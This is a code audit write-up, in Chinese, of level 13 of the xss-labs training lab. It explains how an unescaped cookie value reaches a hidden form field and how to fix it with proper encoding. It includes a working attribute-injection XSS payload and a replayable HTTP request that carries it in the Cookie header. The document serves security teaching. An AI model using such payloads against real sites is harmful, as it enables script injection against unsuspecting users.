xss-labs-level13-代码审计报告

29次阅读
没有评论

xss-labs Level13 代码审计报告

目标文件: level13.php | 漏洞类型: 反射型 XSS —— Cookie 值注入隐藏字段 | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径: 伪造 Cookie: user=... → <input name="t_cook" value="..."> 属性注入


一、漏洞代码定位

level13.php 第 16-28 行:

setcookie("user", "call me maybe?", time()+3600);      // L16 服务端种下 user cookie
ini_set("display_errors", 0);
$str = $_GET["keyword"];                               // L18
$str00 = $_GET["t_sort"];                              // L19
$str11 = $_COOKIE["user"];                             // L20 从 Cookie 取数
$str22 = str_replace(">", "", $str11);                 // L21 删除 >
$str33 = str_replace("<", "", $str22);                 // L22 删除 <
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">   // L27 已转义(安全)
<input name="t_cook"  value="'.$str33.'" type="hidden">                    // L28 危险:Cookie 未转义
</form>
</center>';

漏洞点: L28。$_COOKIE["user"] 只删除了 </>,未转义引号即拼入隐藏字段 value。Cookie 完全可由客户端任意伪造,与服务端种下的默认值无关。


二、漏洞原理

  • 服务端虽 setcookie 种了默认值,但 Cookie 是客户端存储,客户端可以改、删、伪造。攻击者重放时直接带一个恶意 user cookie 即可。
  • 隐藏字段 + type="text" 覆盖 hidden + onfocus/autofocus 触发,同 Level10/11/12 技巧。
  • 对 t_sort 转义、对 Cookie 漏转义,依旧是"外部输入处理不一致"。

三、利用方式与 Yakit 可重放数据包

Cookie Payload(URL 解码后):

Cookie: user=" type="text" onfocus=alert(1) autofocus="

渲染结果:

<input name="t_cook" value="" type="text" onfocus=alert(1) autofocus="" type="hidden">

Yakit 可重放原始请求(关键在 Cookie 头):

GET /level13.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Cookie: user=" type="text" onfocus=alert(1) autofocus="
Accept: text/html
Connection: close

触发方式: 输入框被覆盖为 type=text 并 autofocus,onfocus=alert(1) 触发 → 命中通关逻辑跳转 level14。

若 Cookie 中空格等字符在实现中不友好,可用 tab 分隔属性变体(注:本关 str_replace(" ","&nbsp;") 未启用,空格可用;若环境对 Cookie 值有约束,改用 %09/分隔符变体并实测)。


四、修复建议

// Cookie 进入 HTML 前必须编码;更优:不要回显 Cookie 内容
$user = isset($_COOKIE["user"]) ? $_COOKIE["user"] : "";
$safe = htmlspecialchars($user, ENT_QUOTES, 'UTF-8');
echo '<input name="t_cook"  value="'.$safe.'" type="hidden">';

要点:

  1. Cookie 不可信任,等同外部输入,进入 HTML 前统一编码。
  2. 不要在页面里回显 Cookie 原始值;隐藏字段用服务端数据驱动。
  3. 设置 Cookie 时给 HttpOnly/Secure/SameSite 属性(本关 cookie 无任何安全属性,即便不用于 XSS 也是会话安全缺口)。

五、备注

  • Level11/12/13 是一组: 分别从 Referer / User-Agent / Cookie 三类"头级"输入反射,漏洞形态与修复方式完全一致,建议统一处置。
  • 审计清单提醒: 凡 $_SERVER、$_COOKIE、$_GET、$_POST 等超全局变量被 echo 的,都要逐点确认是否编码。
正文完
 0